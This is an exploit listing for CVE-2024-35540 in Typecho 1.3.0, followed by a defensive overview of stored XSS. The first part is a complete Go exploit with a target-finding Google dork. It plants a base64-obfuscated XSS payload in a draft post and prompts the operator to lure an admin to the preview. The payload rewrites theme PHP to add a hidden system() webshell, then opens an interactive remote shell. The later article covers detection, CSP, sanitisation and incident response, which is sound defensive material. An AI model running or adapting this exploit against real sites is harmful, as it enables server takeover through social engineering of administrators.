Typecho 1.3.0 - Stored Cross-Site Scripting (XSS)
# Exploit Title: Typecho 1.3.0 - Stored Cross-Site Scripting (XSS)
# Google Dork: intext:"Powered by Typecho" inurl:/index.php
# Date: 18/08/2024
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://typecho.org
# Software Link: https://github.com/typecho/typecho
# Version: 1.3.0
# Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho)
# CVE: CVE-2024-35540
# For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/
package main
import (
"bufio"
"bytes"
"crypto/rand"
"crypto/sha256"
"encoding/base64"
"fmt"
"net/http"
"net/url"
"os"
"strings"
"time"
)
var (
postTitle string = "Reflected XSS PoC"
postText string = "Hey admin! Look at the draft of this blog post, can I publish it?"
userAgent string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
client *http.Client = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
)
func getEditUrl(u string, cookies string) string {
req, err := http.NewRequest("GET", u+"/admin/write-post.php", nil)
if err != nil {
fmt.Println("[X] Error creating initial request:", err)
return ""
}
req.Header.Set("Cookie", cookies)
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending initial request:", err)
return ""
}
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
body := buf.String()
if !strings.Contains(body, "<form action=\"") {
fmt.Println("[X] Error finding post edit URL")
return ""
}
editUrl := strings.Split(body, "<form action=\"")[1]
editUrl = strings.Split(editUrl, "\"")[0]
return editUrl
}
func generateRandomBytes() string {
bytes := make([]byte, 64)
rand.Read(bytes)
return fmt.Sprintf("%x", sha256.Sum256(bytes))
}
func getJsCode(password string) string {
phpPayload := `
header("X-Random-Token: " . md5(uniqid()));
if (isset($_POST["CSRFToken"]) && $_POST["CSRFToken"] === "%s") {
if (isset($_POST["action"])) {
system($_POST["action"]);
exit;
}
}
`
phpPayload = fmt.Sprintf(phpPayload, password)
jsPayload := `
var i = document.createElement('iframe');
i.src = location.protocol+'//'+location.host+'/admin/theme-editor.php';
i.style.display = 'none';
document.body.appendChild(i);
setTimeout(() => {
var textarea = i.contentWindow.document.getElementById('content');
if (textarea.value.includes(payload))
return;
textarea.value = textarea.value.replace(/<\?php/, '<?php ' + payload);
var form = i.contentWindow.document.getElementById('theme').submit();
}, 200);
`
return fmt.Sprintf("var payload = `%s`;\n%s", phpPayload, jsPayload)
}
func generatePayload(jsCode string) string {
remainder := len(jsCode) % 3
if remainder != 0 {
jsCode += strings.Repeat(" ", 3-remainder)
}
jsCodeEncoded := base64.StdEncoding.EncodeToString([]byte(jsCode))
return fmt.Sprintf("[<img style=\"display:none\" src=x onerror=\"eval(atob('%s'))\">][1]\n[1]: https://google.com", jsCodeEncoded)
}
func createPost(u string, cookies string, payload string) string {
formData := url.Values{}
formData.Set("title", postTitle)
formData.Set("text", payload+"\n"+postText)
formData.Set("do", "save")
formData.Set("markdown", "1")
formData.Set("category%5B%5D", "1")
formData.Set("allowComment", "1")
formData.Set("allowPing", "1")
formData.Set("allowFeed", "1")
formData.Set("dst", "60")
formData.Set("timezone", "7200")
req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
if err != nil {
fmt.Println("[X] Error creating malicious post creation request:", err)
return ""
}
req.Header.Set("Cookie", cookies)
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
req.Header.Set("Referer", strings.Replace(strings.Split(u, ".php")[0], "index", "admin/write-post.php", 1))
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending malicious post creation request:", err)
return ""
}
defer resp.Body.Close()
return resp.Header.Get("Location")
}
func checkInjected(u string) bool {
req, err := http.NewRequest("HEAD", u, nil)
if err != nil {
return false
}
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)
if err != nil {
return false
}
return resp.Header.Get("X-Random-Token") != ""
}
func readInput() string {
scanner := bufio.NewScanner(os.Stdin)
if scanner.Scan() {
return scanner.Text()
}
return ""
}
func interactiveShell(u string, password string) {
for {
fmt.Print("$ ")
cmd := readInput()
formData := url.Values{}
formData.Set("CSRFToken", password)
formData.Set("action", cmd)
req, err := http.NewRequest("POST", u, strings.NewReader(formData.Encode()))
if err != nil {
fmt.Println("[X] Error creating shell request:", err)
continue
}
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode())))
resp, err := client.Do(req)
if err != nil {
fmt.Println("[X] Error sending shell request:", err)
continue
}
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
body := buf.String()
fmt.Println(body)
}
}
func main() {
if len(os.Args) != 3 {
fmt.Println("Usage: go run CVE-2024-35540.go <URL> <COOKIE_HEADER_VALUE>")
os.Exit(1)
}
fmt.Println("[+] Starting Typecho <= 1.3.0 Stored XSS exploit (CVE-2024-35540) by cyberaz0r")
targetUrl := os.Args[1]
cookies := os.Args[2]
fmt.Println("[*] Getting post edit URL with CSRF token...")
editUrl := getEditUrl(targetUrl, cookies)
if editUrl == "" {
fmt.Println("[-] Could not get post edit URL, exiting...")
return
}
fmt.Println("[+] Edit URL:", editUrl)
password := generateRandomBytes()
fmt.Println("[+] Generated password to access the webshell: ", password)
fmt.Println("[*] Generating JavaScript code to inject webshell...")
jsCode := getJsCode(password)
payload := generatePayload(jsCode)
fmt.Println("[*] Creating malicious post...")
postUrl := createPost(editUrl, cookies, payload)
if postUrl == "" || postUrl == "/" {
fmt.Println("[-] Could not create malicious post, exiting...")
return
}
previewUrl := strings.Replace(postUrl, "write-post.php", "preview.php", 1)
fmt.Println("[+] Malicious post created successfully!")
fmt.Println("[i] Send this preview URL to the admin to trigger the XSS:\n" + previewUrl)
fmt.Println("[*] Waiting for the admin to visit the preview URL...")
for !checkInjected(targetUrl) {
time.Sleep(1 * time.Second)
}
fmt.Println("[+] Webshell injected successfully!")
fmt.Println("[+] Enjoy your shell ;)\n")
interactiveShell(targetUrl, password)
} Typecho 1.3.0 — Stored Cross‑Site Scripting (CVE‑2024‑35540): Technical Overview, Impact, and Mitigation
This article explains the stored cross‑site scripting (XSS) vulnerability assigned CVE‑2024‑35540 affecting Typecho 1.3.0. It covers what the issue is at a conceptual level, the typical causes that lead to persistent XSS in CMS platforms, practical detection and mitigation strategies, secure\-coding recommendations, and incident response guidance for defenders. The content focuses on defensive measures and high‑level technical context rather than exploit instructions.
Quick facts
| Product | Typecho |
|---|---|
| Vulnerable version | 1.3.0 |
| CVE | CVE‑2024‑35540 |
| Issue class | Stored Cross‑Site Scripting (persistent XSS) |
| Primary impact | Remote client/browser compromise when an authenticated user (often an admin) views vulnerable content |
| Vendor | typecho.org |
| Public analysis | Independent security research published Aug 2024 |
What is Stored XSS and why it matters for Typecho
Stored XSS occurs when an application accepts attacker‑controlled input and persists it (in a database, file store, or similar) then later renders that input into pages viewed by other users without properly neutralizing active content (scripting). In a CMS like Typecho, typical persistence locations are posts, comments, theme files, editor content or preview pages. When an administrator or other privileged user loads the content, injected script executes in their browser context and inherits their privileges (session cookies, CSRF ability, admin UI access), enabling a range of post‑exploitation actions.
High‑level attack impact
- Account takeover of admin/moderator sessions (steal cookies or perform state‑changing requests from the admin context).
- Remote code execution on the server indirectly enabled if the XSS can be used to modify web‑accessible server files via admin UI or plugin/theme editors.
- Persistent site defacement, data exfiltration, and pivot to other services in the same administrative context.
Root causes commonly observed in CMS stored XSS
- Inadequate output encoding: rendering user content directly into HTML pages without encoding characters that can start scripts.
- Unsanitized HTML/Markdown rendering: converting user Markdown to HTML without an allowlist sanitizer produces executable markup.
- Server‑side features that permit arbitrary file edits (theme/plugin editors) combined with insufficient CSRF or sanitization.
- Overly permissive WYSIWYG or markup features that allow , event handlers, data: or javascript: URIs, or inline CSS expressions.
Responsible disclosure and remediation timeline
When a vulnerability is discovered, the responsible steps are: privately notify the vendor, provide a clear technical description and reproduction details only to the vendor, coordinate on a fix, and only after a patch is available or an agreed embargo expires publish details. Users should immediately apply vendor patches or temporary mitigations once a fix is published.
How to detect if your Typecho instance is affected or abused
- Inventory versions: confirm whether the instance is running Typecho 1.3.0 (or other vulnerable builds identified by vendor advisories).
- Search persistent storage for suspicious markup: look for unusual inline event handlers (e.g., attributes starting with onclick/onerror), <script> tags, or obfuscated base64 JavaScript in post bodies, drafts, previews, and theme files.
- Check admin activity logs: examine recent edits to posts, drafts, theme and plugin source; pay attention to unexpected author accounts or automated changes.
- Monitor web logs and access patterns: abnormal requests to preview or editor pages, or HEAD/OPTIONS requests prior to unusual POSTs.
- Use a web vulnerability scanner with XSS detection capabilities against a staging copy to verify remediation (in a controlled environment only).
Mitigation and hardening (short‑term and long‑term)
Immediate actions for operators
- Apply the vendor patch or upgrade to the fixed version of Typecho as soon as it is released and validated.
- If an immediate patch is not available, restrict access to administrative interfaces (IP allowlisting, VPN, SSH tunnels, or firewall rules).
- Disable unsafe features temporarily — e.g., remote theme‑editor access, or any feature allowing arbitrary file edits through the web UI.
- Require reauthentication for sensitive admin workflows, and rotate administrative credentials and API keys if compromise is suspected.
Web application hardening
- Set strong HTTP headers:
- Content‑Security‑Policy (CSP): restrict inline script execution and limit script sources.
- Strict‑Transport‑Security (HSTS), X‑Frame‑Options, X‑Content‑Type‑Options, Referrer‑Policy.
- Enable HttpOnly and Secure flags on cookies, and consider SameSite=strict for session cookies where possible.
- Deploy a WAF with rules tuned to detect common XSS patterns and anomalous admin UI activity.
- Harden logging and alerting so that suspicious admin page preview accesses or theme edits generate actionable alerts.
Secure coding practices and concrete defensive examples
Below are safe, non‑exploitative code examples showing common defensive patterns to prevent stored XSS in PHP applications. They are intentionally generic and focused on safe output encoding and sanitization.
1) Output encoding for HTML contexts (PHP)
echo htmlspecialchars($userSuppliedTitle, ENT_QUOTES | ENT_HTML5, 'UTF-8');Explanation: htmlspecialchars() converts special characters into HTML entities so that user input cannot be interpreted as HTML or JavaScript when rendered inside an HTML element. Use ENT_QUOTES to encode both single and double quotes and explicitly set UTF‑8. Apply appropriate encoding for the specific context (HTML body, attribute, JavaScript data, URL, etc.).
2) Sanitizing rich text (Markdown/HTML) with an allowlist
// Use a vetted HTML sanitizer (e.g., HTMLPurifier) to clean generated HTML.
require_once '/path/to/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,a[href],strong,em,ul,ol,li,br,img[src|alt|width|height]');
$purifier = new HTMLPurifier($config);
$safeHtml = $purifier->purify($generatedHtml);Explanation: When the platform permits some HTML in posts, use a library that enforces an allowlist of tags and attributes and strips scripts, event handlers (onclick, onerror), and dangerous URI schemes (javascript:, data:). Never write your own ad‑hoc sanitizer for production—use well‑maintained libraries and configure them for the expected feature set.
3) Restrict inline script execution with a Content Security Policy (CSP)
// Example PHP header for a restrictive CSP
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.example.com; object-src 'none'; base-uri 'self';");Explanation: A properly configured CSP can mitigate the impact of XSS by preventing inline scripts and limiting external script sources. Avoid using 'unsafe-inline' or allowlist of unsafe eval unless absolutely necessary. CSP is a powerful defense-in-depth control but not a substitute for input validation and output encoding.
4) Protect admin editors and dangerous operations
- Require additional authentication (2FA) for theme/plugin edits.
- Perform server‑side validation and sanitization on any content that will be stored and later rendered in admin UI.
- Log and alert on bulk or automated edits, unexpected uploads, or changes to templates/theme files.
Incident response checklist if you suspect compromise
- Isolate the environment: restrict admin access, disable public editing, and take backups (for forensic analysis).
- Collect evidence: database snapshots, application logs, web server access/error logs, and admin activity logs.
- Search for indicators of persistence: modified theme/plugin files, new admin users, new scheduled tasks, or unusual network connections originating from the host.
- Rotate credentials: admin passwords, API tokens, and other secrets that might have been exposed.
- Clean and restore: remove malicious content, apply fixes/patches, and restore files from trusted backups if necessary.
- Notify stakeholders and follow any legal or regulatory disclosure requirements if sensitive data was exposed.
Detection guidance and sample queries
For defenders performing triage, focus on searching persisted content for suspicious patterns without attempting to validate exploitability on production systems:
- Search post bodies and drafts for the presence of script tags, on* attributes, or base64‑encoded JavaScript tokens.
- Search theme and template directories for unexpected modifications or recently changed files.
- Review access logs for requests to preview or editor pages originating from untrusted IPs or at odd times.
References and further reading
- Typecho project: https://typecho.org
- OWASP XSS Prevention Cheat Sheet: https://owasp.org/www-community/attacks/xss/
- HTMLPurifier (PHP sanitization library) documentation
- Content Security Policy (CSP) specification and best practices
Final notes
CVE‑2024‑35540 highlights a recurring set of risks for CMS platforms: features that allow rich content or theme editing combined with insufficient sanitization and weak access controls can lead to high‑impact stored XSS. Applying vendor patches, applying layered mitigations (CSP, cookie hardening, access restrictions), and ensuring robust sanitization frameworks significantly reduce risk. If you manage Typecho instances, prioritize patching, restrict admin interfaces, review recent content and theme edits, and implement the secure‑coding patterns described above.